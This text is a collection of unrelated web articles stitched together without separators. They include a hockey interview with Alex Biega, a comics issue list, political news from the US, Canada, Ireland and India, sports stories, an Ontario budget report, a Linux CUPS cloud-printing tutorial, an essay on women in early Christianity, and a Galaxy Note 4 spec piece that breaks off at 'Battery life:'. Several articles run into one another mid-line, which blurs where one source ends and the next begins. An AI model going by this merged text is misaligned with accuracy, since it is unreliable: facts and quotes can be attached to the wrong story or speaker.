Biega is a big defenseman who wins many 1 on 1 battles and often out muscles opponents, his big size doesn’t affect his skating ability as he likes to jump in the rush from time to time. He’s got a strong shot from the point and isn’t shy about being a vocal leader on and off the ice. There are 3 defenseman ahead of Biega in the depth charts, which will allow him more time to develop at the AHL level and hone his skills so that when the time comes he will be ready for a permanent stay in the NHL.
In 65 games with the Amerks this season Biega scored 5 goals and added 18 assists for 23 points. He had a -/+ 10 and 47 penalty minutes to add to a solid first year. I had the pleasure of having an interview with Alex Biega this past weekend, the purpose of the interview was to shed some light on the Amerks defenseman, and get fans to more of their future Sabres!
1. What did you major in while attending Harvard?
Biega- My major was Sociology, but I took a lot of different classes in different fields while I was there!
2. Do you know Buffalo Bills quarterback Ryan Fitzpatrick, considering you both went to Harvard?
Biega- I don’t know him personally, but I have seen him around Harvard during the summer training for the offseason. He’s a legend there, and I think he comes back to visit when he can!
3. What are your interests outside of hockey?
Biega- I’m a big movie guy. I’ve been learning to play the guitar from my roommate.
4. What do you like best about living/being in Rochester/Buffalo?
Biega- The fans. They are avid fans who really have a passion for their hockey!
5. What is the greatest memory you’ve had in your hockey career?
Biega- Winning the Salisbury school’s first ever New England championship. One of my brothers was on the team with me at the time, so it was a great experience to share that with him.
6. Do you like any other sports besides hockey?
Biega- I played soccer all my life, including my time in prep school. I’d be lying if I said I didn’t get excited for the World Cup!
7. What was your favorite hockey team growing up?
Biega- I grew up in Montreal so it would be difficult not to say the Canadians!
I Would like to thank Josh Edwards for setting me up to interview Biega, click here to see his interview with Alex Biega!
There you have it Sabres/Amerks fans an interview with Alex BiegaThe Story – Birds of Prey Vol. 1 #1 – 127 + Extras (1999-2009)
Birds of Prey Vol. 1 #1 – 127 + Extras (1999-2009) : Birds of Prey was ongoing title created by editor Jordan Gorfinkel (with the team name attributed to Frank Pittarese). Chuck Dixon, then writer of many Batman related titles, was the initial writer for the series and would continue until issue #55. The term “Birds of Prey” was not an actual team name but rather simply the name of the comic, although later issues would eventually come to use the team name officially. The original premise of the book was a Barbara Gordon (Oracle at the time) and Black Canary team-up which would later expand to include a variety of different female superheroes, the most regular being The Huntress (Bertinelli). The title is most associated with writer Gail Simone, who would pen the series from issues #56 to #108 as well Volume 2.
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Birds of Prey Vol. 1 #1 – 127 + Extras (1999-2009)
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Birds of Prey – Extras contains :
Birds of Prey - Extras Birds of Prey – Batgirl #1 (1997)
Birds of Prey – Batgirl – Catwoman #1 (of 02) (2003)
Birds of Prey – Catwoman – Oracle #2 (of 02) (2003)
Birds of Prey – Manhunt #1 – 4 (1996)
Birds of Prey – Revolution #1 (1997)
Birds of Prey – Secret Files & Origins 2003
Birds of Prey – The Ravens (1998)
Birds of Prey – Wolves #1 (1997)
Black Canary-Oracle – Birds of Prey #1 (1996)
Showcase ’96 003 (1996)
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Notes :Judge Andrew Napolitano said on "Special Report" that leaked CIA documents show "conclusively" that the CIA has been spying on Americans.
"I don't think anybody on the intelligence committees takes seriously [the CIA's] denials," Napolitano said.
Pence: CIA Leaks 'A Significant Compromise of Nat'l Security
Maxine Waters: 'Sex Actions' Allegations in Trump Dossier Are 'Absolutely True'
Democrats Slam EPA's Pruitt for Carbon Dioxide Remarks
Purported CIA documents released by WikiLeaks showed that the agency is able to conduct surveillance through technology like smart televisions and the like.
Napolitano said the documents show "conclusively and unambiguously that the CIA has been plying its tradecraft on Americans in the United States."
"We're one step away from totalitarianism when I'm in front of the microwave in my kitchen and they can hear what I'm talking about," he said.
Napolitano said he is pleased that we now know about the surveillance methods because Americans should know when a "violation of Constitutional liberties of this magnitude is going on."
"I don't buy the denials because my friends in the intelligence community don't buy the denials," he said.
Sen. Cotton Tells House GOP to 'Start Over' on ObamaCare Replacement Plan
Trump to Hold 2nd Rally of Presidency Next Week in Nashville
A CPAC for Liberals? Report Says Dems Planning First 2020 'Cattle Call'In electing a mayor, Toronto got a child, or worse. Children are innocent, but our mayor is becoming dangerous. It's no longer about library closures or cutting services. Heightened debate about policy and differing views on how to balance a budget were expected.
The recent revelation is that Rob Ford is holding the Toronto Star hostage by refusing to speak to it and provide it with news releases. The paper claims his staff are actively attempting to keep it in the dark on media stories provided to all other outlets covering Toronto City Hall, highlighting a dangerous abuse of power threatening to erode fundamental societal foundations. (Ford has since denied freezing out the Star.)
Being mayor is not child's play. It is not a mandate to be petty or vindictive. Its office does not come with impunity.
Rob Ford is mad at the Toronto Star for a story they ran during last year's mayoral campaign about his time as a high-school football coach. Until the Star runs an above-the-fold apology on page one, there is an official ban on all communication from his office with that paper, the Starsaid.
As John Honderich, the chair of the board of the Torstar Corp. said, that's entirely the mayor's prerogative; Rob Ford has no duty to speak to anyone. However, when his staff attempt to hold secret briefings away from the Star, it's another matter. Add to this that the mayor's allies in city hall prevented a motion from passing that would have guaranteed all media outlets equal access to press releases from his office.
What's next for Toronto? Why don't we just close down all press and open an official propaganda office so that Mayor Ford won't have to worry about who writes what about what he is doing with other people's money in a city he shares with millions? The Chinese do it. North Korea seems to be OK at it. Soviet Russia must have left notes behind on how to run a propaganda office.
Oh wait. We live in Canada; you can't do that.
I'm sorry Mayor Ford. I know you're angry at the Toronto Star, the readers of which aren't particularly fond of you. And that particular story wasn't very flattering. But guess what? Tough luck. You don't get to play kingmaker; you don't get to bully your way through this.
Such actions are an assault on freedom of the press, which is protected under the umbrella of freedom of expression in section 2(b) of Charter of Rights and Freedoms. The Supreme Court has affirmed that section 2(b) includes the right to receive information pertaining to public institutions, and that the press has a role to play in the realization of this right.
It is one thing for Rob Ford not to talk to the Star. Even filing a suit for libel is within his rights. He did that, but then never followed through. However, controlling access to information denies Torontonians the very rights that permitted him to reach the office he now holds.
Allies of the mayor and supporters of this move who see the Star's coverage of city hall as so utterly one-sided and disdainful of anything Rob Ford that they sympathize with his plight either don't see the big picture, or worse, don't care.
First, there is the assault on Charter-protected freedoms, which I won't belabour. The Star article contains comments by representatives of media outlets and press galleries coming to its defence. Chris Rands, president of the Ottawa press gallery, specifically references the Charter:
The right to free speech guaranteed in the Charter of Rights and Freedoms includes the right to gather information. Barring reporters from access to information from public institutions diminishes values Canadians hold dear.
Second, Toronto has a mayor who thinks this type of behaviour is permissible. A grown-up, a mayor no less, feels he is entitled to behave like a child who won't stop crying until he gets his way, no matter what he breaks by banging his fists in the process. Many will say, "I told you so." But this is a new low.
The abuses of power emanating from Toronto City Hall have to stop. Toronto faces immense challenges in the years to come, challenges that require serious thinking from serious people. The solutions to those challenges will only succeed if they are the product of a genuine discussion between viewpoints. One of the most assured means of generating this discussion is through various media outlets and mediums.
It is not for Rob Ford to control that process. This is everyone's Toronto, not his.THE DÁIL HAS debated a bill to abolish the Censorship of Publications Board with TDs told this can’t be done until it has dealt with a complaint against a novel authored by Justice Minister Alan Shatter.
Fianna Fáil’s Niall Collins said that the board is “a quango that has long since passed its sell by date” but speaking for the government Communications Minister Pat Rabbitte said that it is “only fair” that a complaint against Shatter’s novel ‘Laura’ be dealt with.
Introducing the Censorship of Publications Board Repeal Bill, Collins said: “The majority of people had never heard of the board thought it was long since departed before Minister Shatter’s novel made the front pages. Now it’s time to ensure they never have to hear from it again.”
He made the point that sales of the controversial and explicit novel 50 Shades of Grey showed how attitudes in Irish society have moved on and also criticised the government’s “broken promise” to abolish quangos.
The board was originally established in 1929 to ban the sale or publication of controversial publications, but no book or magazine has been banned since 2003. The most recent board’s five year term of office expired in November 2011 with a new board yet to be appointed.
Arts Minister Jimmy Deenihan got approval last month to temporarily appoint five people to the board to deal with a complaint that Shatter’s novel is ‘obscene’ and advocates abortion.
There were suppressions of smiles and laughter throughout this morning’s debate in the Dáil. Screengrab via Oireachtas TV.
‘Laura’ was recently republished after publicity about the complaint against it. The book – first published in 1990 – centres around the troubled private life of a pro-life politician who has an affair with his secretary and subsequently urges her to procure an abortion.
“Censorship of publications in Ireland has had a very sad and sorry history,” Rabbitte said saying that many successful books were banned. “There is no question of returning to that time.”
He said that abolishing the board was “a welcome and overdue reform” but that it is “only fair” that a complaint against ‘Laura’ is dealt with. He also cautioned against repealing part of the relevant Act “without giving due consideration” to its impact on the “entire body of legislation”.
Welcoming the bill, independent TD Finian McGrath said it was good to hear “romantic Ireland is not dead and gone in Fianna Fáil” and but expressed puzzlement at why sales of ‘Laura’ went up when news of the complaint emerged last year.
Sinn Féin TD Michael Colreavy said that censorship and specifically the Section 31 ban had forced his party’s members to have their voices dubbed during broadcast interviews.
“We need to perform an exorcism,” he said of the Censorship Board.
Fianna Fáil deputy Billy Kelleher described Alan Shatter as a “literary genius” and added: “I make an urgent plea that Laura be set free, like the Minister himself.”The Los Angeles Lakers' new head coach Mike D'Antoni is expected to contact Nate McMillan about potentially becoming his defensive assistant coach, according to Ken Berger of CBSSports.com.
Adding the defensive-minded McMillan to the Lakers' staff could potentially shore up some of the concerns about D'Antoni's shortcomings as a defensive coach. Known primarily for their tempo-pushing Seven Seconds or Less offense and masterful execution of the pick and roll, D'Antoni's squads have been criticized for their struggles defensively. McMillan and D'Antoni both served as assistant coaches on the 2008 U.S. national team.
The 48-year-old McMillan spent 2000-2005 as the head coach of the Seattle SuperSonics, and the following six and a half seasons as the head coach of the Portland Trail Blazers. He was fired by the Blazers in March of 2012 and later served as an assistant coach under Mike Krzyzewski for the U.S. national team during the 2012 London Summer Olympics.A Winnipeg man who relies on blood donations to stay healthy is calling on fellow Manitobans to give, as Canadian Blood Services scrambles to deal with a shortfall in donations.
The agency says 252,000 Canadians have missed or cancelled their donation appointments so far this year, so it needs to book 78,000 appointments by the end of October to make up the shortfall and meet the anticipated demand.
Among those hoping more Manitobans will roll up their sleeves and donate is Ken Mason, who has variable common immunodeficiency, a disorder that impairs the immune system.
Mason depends on daily treatments, derived from donated blood, to fight off infection and keep him healthy. Without it, he can barely get out of bed, he said.
Officials with Canadian Blood Services say they are conducting research into why so many people are cancelling or missing their appointments, but one theory is that donors don't realize how important their donations really are.
To book an appointment with Canadian Blood Services, you can visit blood.ca or call 1-888-2-DONATE (1-888-236-6283). You can also use the free GiveBlood app, which is available for iOS and Android devices.Free prescription drug coverage is coming to Ontario for everyone age 24 and under — regardless of family income.
The new pharmacare plan, officially titled OHIP+: Children and Youth Pharmacare, was announced on Thursday as Finance Minister Charles Sousa delivered the provincial Liberal’s budget.
“On behalf of our premier, starting this January we will be expanding our universal health care by providing free drug care for everyone age 24 and under,” Sousa announced as he presented the budget.
According to the new plan, eligible Ontarians will be able to walk into any pharmacy across the province, show their OHIP card and pick up free medicine funded through the Ontario Drug Benefit Program.
The plan will cover 4,400 types of drugs.
As well, there will be no deductible and no co-payment.
Sousa said the plan will help students and “make life more affordable to Ontario families.”
“One way we can be a competitive and a compassionate society is to make sure that people who need medications get medication,” he said.
Souza added that the changing nature of the workplace means many Ontarians don’t have workplace benefits.
“For families with children requiring medication, for young people just entering the workforce who may be working on contract, causing real hardship for some,” he explained.
“We can do better than that. We must do better than that.”
The program will benefit around four million Ontarians and cost $465 million.
That price tag is expected to be funded by the growing economy. According to the Liberals, the GDP is expected to grow 2.6 per cent.
When asked if the province has the money for afford a plan of this size, Sousa was steadfast.
“We can afford it and that’s why we put it in our budget. Keep in mind that even with those who have plans — they still have co-pays and deductibles,” he said.
“We felt that we don’t put a price on our kids and we wanted everyone to have the same benefits.”
The program will be the first of its kind in Canada and Sousa said he hopes the move encourages the federal government to look at a universal Pharmacare plan.
“I’m just very proud of our cabinet and our premier for looking at this in such a progressive way,” he explained.
Pharmacare will be implemented January 2018.
Related:
Five things to know about the Ontario budget
PCs accuse Wynne Liberals of cooking the books
The Liberals had promised no new taxes on families, though they are increasing tobacco taxes by $10 per carton over the next three years and giving municipalities the power to introduce a hotel tax.
In addition to balancing the books this year, the government is now projecting balanced budgets through to 2019-20. Despite reaching balance, however, the province’s debt continues to grow.
It is projected to be $312 billion this year, growing to $336 billion in 2019-20. Interest on debt is the fourth largest spending area, at $11.6 billion.
Historically low interest rates helped the province get to balance, but interest on debt is still projected to be the fastest growing expenditure area, at an average 3.6 per cent from 2015 to 2020.
Nonetheless, the government paints a rosy economic outlook, projecting two per cent average GDP growth through to 2020, driven by exports and business investment.
On the infrastructure front, spending is growing from a promise last year of $160 billion over 12 years to $190 billion over 13 years. The additional $30 billion will go toward new hospital projects, school renewal and child care expansion.
Ontario will also move ahead with planning a high-speed rail corridor between Toronto, Kitchener-Waterloo, London and Windsor, the government said in the budget. The project could cut in half the four-hour travel time from Toronto to Windsor.
Under the education banner, about $16 billion is earmarked over 10 years to build and improve schools at a time when the government is coming under fire for rural school closures. Another $200 million will go to creating 24,000 child care spaces and subsidizing 60 per cent of them.
Post-secondary graduates will now have to start repaying the provincial part of their student loans when they are earning a $35,000 salary, up from $25,000, which student groups applauded.
Seniors are also specifically targeted in the budget. A public transit tax credit for people 65 and older will see 15 per cent of eligible transit costs refunded with an average annual benefit of $130. That is estimated to cost the government about $10 million a year. The measure comes after the federal government announced it was eliminating a 15-per-cent tax credit for commuters who buy a transit pass.
There is also $11 million over three years for a seniors community grant program and another $8 million over three years for new community centres with seniors’ programming. The province has also earmarked $100 million over three years for a dementia strategy that will include helping patients and their caregivers find support and improve training for health-care workers.
Toronto Mayor John Tory said he was disappointed there was no new cash for affordable housing in the budget.
With files from The Canadian PressFor a quick and easy way to extend your Linux printer server to your Google Cloud Print account, follow the steps in this tutorial.
Image: Jack Wallen
If you have a Linux printer server, and you need to enable users to be able to print to your cloud-based printers, one easy method is to attach CUPS to a Google Account for use with Google Cloud Print. Great solution, right? But how do you pull that off?
Someone in the Linux community has made it not only possible, but easy. Let me walk you through the steps of connecting your CUPS printer server to a Google Cloud Print account.
I will be doing this on a Ubuntu 16.10 machine. The necessary software is available for Ubuntu as well as rpm-based distributions, Arch Linux, Gentoo, Portage ebuild, OS X, FreeBSD, and more.
Installation
The first thing you must do is install the necessary package. To do this, we must add a repository. Open your terminal window and issue the command:
sudo add-apt-repository ppa:simon-cadman/niftyrepo
Now, update apt with the command:
sudo apt-get update
Finally, install the software with the command:
sudo apt-get install cupscloudprint
Once the installation is ready, you can connect your server to the Google Cloud Print account.
SEE: Securing Linux Policy (Tech Pro Research)
Connecting to your account
The developer of cupscloudprint has made this task incredibly simple. Go back to your terminal window and issue the command:
sudo /usr/share/cloudprint-cups/setupcloudprint.py
The first thing that will happen is you'll be prompted to enter the email address associated with the cloud account. Type that address and hit enter. Next you'll be given a link to copy and paste into your browser (Figure A).
Figure A
If you haven't logged into your Google account from this browser, you'll be prompted for that information; otherwise, you'll be asked to Allow CUPS Cloud Print to manage your printers.
Click Allow. You'll be given a code; copy that code and paste it into the terminal window at the Code From Google: prompt. The command will output the accounts you currently have configured for Cloud Print. If you're happy with that, type y and hit Enter. You'll be asked if you want to add all the printers associated with your account. Type y and hit Enter. Once the printers have been added, you'll be asked if you want to use a prefix for the printers. If you do, type y, hit Enter, and then enter the necessary prefix; otherwise, type n and hit Enter.
Any printer you have associated with Google Cloud Print is now available to your Linux printer server. Quite painless, wouldn't you say?
Extending your printer server
What better way to extend your Linux printer server than to connect it to your Google Cloud Print account? With this setup, you can easily print to different locations (even in different states), so you don't have to expend the resources connecting printers to VPNs or other, costlier and complex, solutions.
Cloud Insights Newsletter Your go-to knowledge base for the latest about AWS, Microsoft Azure, Google Cloud Platform, Docker, SaaS, IaaS, cloud security, containers, the public cloud, the hybrid cloud, the industry cloud, and much more. Delivered Mondays Sign up today
Also seeRepublican-backed efforts to stop Donald Trump from claiming the party's presidential nomination have flopped over the last four months.
Mitt Romney's call for GOP voters to rise up against the real-estate mogul didn't work. Trump easily defeated his Republican rivals in the primaries of late April and early May, forcing Ted Cruz and John Kasich out of the race. Super PACs formed to run ads against Trump in the later stages of the primaries lacked cohesion and leadership and failed to attract enough big-money donors. And attempts to attract an independent candidate fizzled.
More from NBC News:
Clinton, Trump call off campaign events in wake of Dallas shootings
Powerful guns made Dallas ambush'more deadly and tragic': Obama
NATO Warsaw summit tackles threat from Russia in east, ISIS in south
Trump now heads into the Republican convention, which begins 10 days from now, with 1,541 delegates - well over the 1,237 needed for majority to win the GOP presidential nomination.
Still, there's a chance - no matter how small - that Republican delegates opposed to Trump could spark an uprising that might jeopardize his nomination. And here are three ways they could do it beginning as early as next week:
Unbinding the delegates
Anti-Trump rebels are trying to pass a rule at the Rules Committee meeting Thursday in Cleveland to "codify" the idea that delegates are able to vote their conscious - for whomever they want, even if they are currently bound to Trump on a first ballot.
If that proposal fails, as expected, Trump's opponents are hoping to win over 28 of the 112 Rules Committee members (25 percent) who will be meeting that Thursday to force the full convention to consider whether to unbind the delegates. It's called a "minority report."
Republican super-lawyer Ben Ginsberg explains that if anti-Trump forces can somehow muster the 28 votes to produce a minority report, the floor vote could be interesting, because there's a higher concentration of Trump loyalists on the Rules Committee than on the floor.
"I think there is a chance, but it's a remote one," Ginsberg said Thursday on MSNBC.
Kendal Unruh, the Colorado delegate who's leading the "Free the Delegates" movement, insists that she has enough for a minority report.
"We are in wait and see mode," she says.
Finally, if all efforts fail in the Rules Committee, anti-Trump delegates could cause disruption on the floor and attempt to force a vote of all delegates.
Requiring a supermajority to capture the nomination
There's a significant downside to any push to unbind the delegates: It essentially invalidates the five months of Republican primaries and caucuses used to choose the delegates. And many of these GOP leaders could find move unseemly and undemocratic.
So another way to stop Trump at the convention would be for the Rules Committee to vote to require a supermajority - instead of a simple majority - to win the GOP nomination.
Allowing delegates to abstain
A third way how anti-Trump delegates could dump Trump is by abstaining from their vote to keep Trump below the 1,237 number needed for a majority on the roll-call vote.
Ginsberg says that whether a delegate can abstain from his or her vote on a first ballot is likely to come down to a ruling by the chair.
The smart bet is that none of these scenarios is successful. Most Republican delegates, by nature, aren't rebels. They're go-along-get-along party leaders who probably aren't eager to overturn the will of the voters. More importantly, a real presidential alternative to Trump has yet to emerge. After all, it's hard to beat somebody with nobody.
But keep an eye on two developments over the next week -- 1) whether Trump continues to veer off message, ad 2) poll numbers in key Senate races. If these delegates are 100 percent convinced Trump would be a down-ballot disaster for Republicans, the chances of rebellion could increase.
Yet until then, prepare for coronation instead of an insurrection.Media playback is not supported on this device 'Judge made a mistake - Burnett's win was unanimous' - Eddie Hearn
Promoter Eddie Hearn believes the judge who scored Lee Haskins as the winner against Ryan Burnett got the two identities of the boxers mixed up.
Burnett won the IBF world bantamweight title by split decision as two judges had him a 119-107 winner but Clark Sammartino had him losing 118-108.
"His scorecard was excellent: it was just the wrong way around," Hearn said.
British Boxing Board of Control general secretary Robert Smith told BBC Sport the judge "won't be coming back".
Smith said he had not spoken to Sammartino but would be speaking to the IBF next week about the American's performance.
"He got it wrong," Smith added. "Luckily, the right man won.
"I will advise the IBF of our dissatisfaction."
Burnett, 25, knocked down defending champion Haskins, 33, in the sixth and 11th rounds during Saturday's fight in Belfast.
"I've never seen anything like it," said Hearn.
"I presume the split decision will be revoked. It'll be a unanimous decision, it must be."
Belfast boxer Burnett was taking part in only his 17th professional fight.
Media playback is not supported on this device 'I nearly fainted when they said split decision' - champion Burnett
Asked if he would be bothered by the result being declared a split decision, Burnett said: "Absolutely not."
He added: "I almost fainted in the ring. I thought, 'they're going to take it off me here'.
"Thank God the decision went in the right direction."139
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, a fact the critics used to their advantage: "What respectable group caters to women?" Why, one wonders, did so many women find the churches appealing if women's contributions were not valued?
The answer is, simply, that the early churches did value women's contributions. Not only did women show their strength in numbers, they did so in leadership positions as well. Both Acts and the Pauline tradition refer to the missionary couple Priscilla and Aquila, with Priscilla's name preceding her husband's in four of six instances (Acts 18:18, 26; Romans 16:3; 2 Timothy 4:19). Since the husband's name usually figures first in ancient pairings, this pattern suggests Prisca's prominence. In Romans 16 Paul refers to women and men alike as partners in the gospel. The only named deacon in the New Testament is Phoebe, a patron of the movement -- she seems to be Paul's representative to the church in Rome (Romans 16:1-2). Paul also refers to Junia as an apostle, a fact most English translations covered up until 1989 (Romans 16:7). His letters refer to several other prominent women, including Euodia and Synthyche, who likely led the church in Philippi (Philippians 4:2) and Chloe, whose "people" maintained communication with Paul in his absence (1 Corinthians 1:11). And though the prophet John condemns her teachings, Revelation's indictment of "Jezebel" (no way that was her real name) indicates the influence of a woman prophet in Thyatira (Revelation 2:20-24). Moreover, both Acts and Paul refer to women who hosted church gatherings in their homes (12:12; 16:40; Romans 16:3-5; 1 Corinthians 16:19; Philemon 1-2; see Colossians 4:15), a service that must have implied some level of status.
Let's not claim too much or too little for those early churches. I hear many people blithely assert that women were "just property" in the ancient world. Overwhelming and oppressive patriarchy did characterize ancient cultures, but we also have many examples of powerful, creative, literate and accomplished women -- some in roles of patronage and community leadership. (The work of Ross Shepard Kraemer has proven invaluable in this respect). As we have seen, some women of this class contributed to the early churches.
On the other hand, early Christianity was no oasis of feminist liberty. While we observe some egalitarian impulses in the movement, it is impossible to quantify gender roles in the early churches. Moreover, women's leadership quickly emerged as a point of controversy among the Christians. It appears that the Apostle Paul recognized women as full partners in ministry -- though one imagines women who did not need or wait for Paul's permission. Paul certainly wasn't spiritualizing when he said that in Christ there "is neither Jew nor Greek;" he probably meant it when he ruled out the distinctions between slave or free and male and female as well (Galatians 3:27-29). Some later Christians remembered Paul as an advocate for women's authority, as we see in the Acts of Paul and Thecla. But some of his other admirers turned the tradition against women. A scribe added a harsh prohibition against women's speech in worship to 1 Corinthians (14:34-35); meanwhile, later Christians writing in Paul's name advocated women's subordination in Ephesians, Colossians, 1 Timothy and Titus.
Assessing women's contributions can pose a complicated task. For example, interpreters have long noticed that that the Gospel of Luke and the Acts of the Apostles, which share a common author, prominently feature female characters. Luke's Gospel emphasizes the experience of Jesus' mother Mary and her relative Elizabeth, introduces the prophet Anna, names three women who support Jesus and his disciples as they travel (8:2-3), and provides the scene in which Mary sits at Jesus' feet while Martha performs service or ministry (Greek: diakonia). In Acts we meet Dorcas, Mary the mother of John Mark, Lydia, Philip's daughters and Priscilla. Yet while Luke and Acts call attention to these significant women, they do not fulfill roles of authorized leadership in the movement. Do we emphasize how Luke and Acts compare favorably to most literature from their patriarchal culture, or do we suspect that the author is reducing women's role to safely domestic contributions?OAKLAND — Three male suspects were arrested and a search was on for a fourth suspect on Wednesday afternoon following a report of a home-invasion robbery in Castro Valley that led to a police chase on Interstate 580, authorities said.
The Alameda County Sheriff’s Office was called at 3:15 p.m. to a home on Sweetbriar Place on a report that four armed males went into the residence and robbed people inside, Sgt. Ray Kelly said.
The robbery victims were not seriously injured, Kelly added.
A witness description of the suspect car helped a sheriff’s deputy spot the suspects as they left the area, Kelly said. A high-speed chase ensued, leading deputies onto westbound I-580, with the suspects jumping out of the car near the Keller Avenue exit in Oakland, Kelly said.
Three of the men were arrested, and a gun was found. Authorities were searching for the fourth suspect as of about 7:30 p.m.
During the search, a deputy injured his hand after falling down a hill, and another deputy and their sniffing dog were stung by wasps after stepping on a nest, Kelly said. The deputies were treated and released from a hospital, and the dog is now in stable condition.
The names of the males arrested were not immediately available.
David DeBolt covers breaking news. Contact him at 510-208-6453. Follow him at Twitter.com/daviddebolt.Gay-themed traffic signals in Linz aimed at promoting greater tolerance have been removed, the Austrian city's new far-right traffic official said yesterday.
'Traffic lights are for traffic and should not be misused to impart advice on how to live your life,' said Markus Hein from the far-right Freedom Party (FPOe).
Gay-themed traffic signals in Linz aimed at promoting greater tolerance have been removed, the Austrian city's new far-right traffic official said yesterday
Instead of the usual stick man, the special lights at pedestrian crossings show two figures: either a man or a woman, two men or two women, holding hands, together with a little heart symbol.
They were first installed temporarily in Vienna for the Eurovision Song Contest earlier this year but proved so popular that they were made permanent and spread to Salzburg and to Linz.
Hein, whose populist party is topping opinion polls in Austria, said that the lights were 'completely unnecessary' and did nothing to promote rights for gay people, which he said were already well advanced.
Instead of the usual stick man, the special lights at pedestrian crossings show two figures: either a man or a woman, two men or two women, holding hands, together with a little heart symbolNEW DELHI: Chief minister Arvind Kejriwal on Friday made a serious allegation against lieutenant governor Anil Baijal claiming that Raj Niwas has become a base for hatching a conspiracy to topple the AAP government.In interviews to NDTV and Aaj Tak, Kejriwal alleged that documents were being leaked from the LG’s office to defame his government, specifically mentioning the news about food costing Rs 16,000 per plate at an AAP function.Blaming EVM tampering for AAP’s loss in Goa and Punjab, Kejriwal said that he is an IIT engineer and can tell 10 ways in which the voting machines can be manipulated. “The companies where the EVM chips are manufactured can use virus, bugs or things like that. The EC has no capability to read what the chips contain,” he said.“Even if AAP wins the municipal elections, we will continue to demand for a probe into tampering of EVMs because it threatens the base of democracy. This is threat to both me and you (ruling party). We will be ready for a re-poll in the civic polls using ballot papers,” Kejriwal said.Talking about allegations of corruption on Delhi minister Satyendar Jain, he said, “There is no truth in the allegations. He has attacked mafias and they will not leave us. Before coming into politics he was a popular architect and earned crores of rupees. He bought some plots in 2007-08. Now they are saying that there were irregularities in the purchase.”“I read all documents carefully when allegations are levelled against my ministers. If there’s even a little evidence, I force them to resign. I will not leave even my son if he does something wrong,” the CM said.He also defended the appointment of Jain’s daughter flagged in the Shunglu committee report. “Several graduates with passion intern or work to do something for the country. She was one of them,” Kejriwal said. He added that the Shunglu Committee has not mentioned corruption in the AAP government anywhere in its report. “It only says we didn’t send files to the LG,” he said.Lashing out at the opposition, Kejriwal said, “Good relations with tanker, education and electricity mafia would have made life easy for us if we had shared the spoils with the opposition.” He also rejected sour relations with party functionary Kumar Vishwas.David Ortiz has always been near the top of the Tater Trot Tracker leaderboard with his classic Papi trots. In 2010, he was the first player to break the 30-second barrier. Since then, he has dominated the “Slowest Trot” lists every year. Last year, for example, Ortiz had 7 of the 10 slowest trots of the year.
Despite all of that, the single slowest trot of the Tater Trot Tracker era (non-injury division) belongs to Bobby Abreu, who took 31.56 seconds to round the bases on his final career trot. And last year, a gimpy (but not “injured”) Todd Helton took the number two spot with his 31.54 second trot in May (number 3 was claimed by Miguel Cabrera in August). In fact, that 30.59 second trot on May 24, 2010, was the only time Ortiz beat the half-minute mark.
See David Ortiz’s record trot here.
That is, until tonight. In the 8th inning of the Red Sox game against the Rangers, Big Papi skied a ball down the right field line, clear over Pesky’s Pole. Ortiz stood at the plate as he waited to see if the ball would land fair or foul before finally beginning his trot six seconds after making contact. From there, he trotted around the bases like normal. But when you’re David Ortiz and you’ve given yourself six seconds at the plate, trotting around “like normal” is going to end badly.
(Updated!) The trot officially clocked in at 33.39 seconds — nearly 2 full seconds slower than the previous slowest trot ever.
And that’s being generous! Because of the particular set-up of Fenway Park, there were no cameras to give a clear view of which foot touched home plate first. The 32.91 seconds assumes that Papi’s right foot is the one to reach the base first. (Note: The trot time has been updated to 33.39 seconds thanks to footage from a different angle. See this for proof.)
To be clear, this trot was not because Ortiz was showing up the Rangers (at least no more so than normal). It is very common for a player to watch a sky-high ball going down the line to see where it lands before he heads out on his trot. And this ball was tough to say either way — Texas manager Ron Washington actually challenged the fair/foul call because it was so tough to tell.
But all of that is immaterial to the Tater Trot Tracker. David Ortiz hit a home run and took 33.39 seconds to run it out. That’s a record.Samsung has unveiled the Galaxy Note 4: its fourth-generation smartphone with a stylus for taking notes and sketching. Here's everything you need to know about the Note 4 release date, price and specs in the UK. See also: Galaxy Note 4 launch - as it happened
The Note 4 looks much like the Note 3, having the same size 5.7in screen, soft-textured back and metal band around the edge. However, there are plenty of changes and updates: keep reading to find out what they are.
Read next: Samsung Galaxy Note 4 hands-on review
Samsung Galaxy Note 4: Release date and price UK
The Galaxy Note 4 will go on sale on 10 October with pre-orders live on 26 September (when the iPhone 6 goes on sale) at Samsung Experience Stores. It will then be available to pre-order from the likes of Three and Carphone Warehouse on 26 September.
We said the Note 4 is likely to come in between £550 and £600 – similar to the Galaxy S5 - and it seems we were right as Clove has the smartphone up for pre-order at £575 inc VAT.
See also: Samsung Galaxy Note 4 vs Samsung Galaxy S5 and Samsung Galaxy Note 3 vs Samsung Galaxy Note 4.
Samsung Galaxy Note 4: specifications
Screen
The big news as far as hardware is concerned is that the screen is now a 'Quad HD' display, with a resolution of 2560x1440 - that's a whopping 515ppi. It's covered in '2.5D glass' which means it has a very slight curve. The Note 3 has a flat screen with merely a full HD 1920x1080 resolution. The 5.7in diagonal means it's not much larger than many phones these days, and smaller than the LG G Flex.
Read: Samsung Galaxy Note 4 vs Galaxy Note Edge comparison review.
UV sensor
Another big feature, which Samsung didn't really mention during the launch is that the Note 4 is the first mobile device with a built-in UV sensor. Part of the S Health system, it will warn users if they are getting too much sun.
There are a total of 5 UV index levels: Low, Moderate, High, Very High and Extreme, and users will be presented with different precautions based on the level of the sun’s ultraviolet radiation.
Fingerprint scanner
The fingerprint scanner is improved in the Note 4. All four fingerprint canning features in the Galaxy S5 - Screen Lock, Private Mode, Samsung Account Verification and PayPal Payments - are coming to the Note 4.
S-Pen
The S-Pen - or stylus - now has 2048 levels of pressure sensing, double that of the Note 3. A new S-Pen feature is Smart Select which allows you to capture several pieces of information at once. For example, you could clip a couple of hotels from TripAdvisor and then some images from another source, then share that group of selections with a contact by dragging and dropping into an email.
The new Snap Note feature can automatically straighten images taken with the camera, and then convert any text into editable copy.
Microphones
Not all notes are visual, and the voice recorder has been improved in the Note 4 by using three microphones to record sounds from 8 distinct directions. The interview mode uses noise suppression to isolate the interviewee and make the voice clearer. Noise cancellation, using the extra microphones, also improves phone calls, especially when using speaker phone.
Cameras:
Instead of talking about numbers, Samsung says it wants to concentrate on ease of use and ‘quality images’ with the Note 4. To that end, it has a 3.7Mp front-facing camera (with a bright f1.9 aperture) and a 16Mp rear camera with optical image stabilisation.
The bigger aperture makes the front camera 60 percent brighter than the Note 3, so it should provide better images in dim conditions. It's also possible to use the heart-rate sensor on the back as a shutter button.
Another change on the front camera is that it has a wider viewing angle of 90 degrees (as opposed to the 77 degrees of the Note 3) and there’s also a panorama mode which increases the angle to 120 degrees.
Battery life:
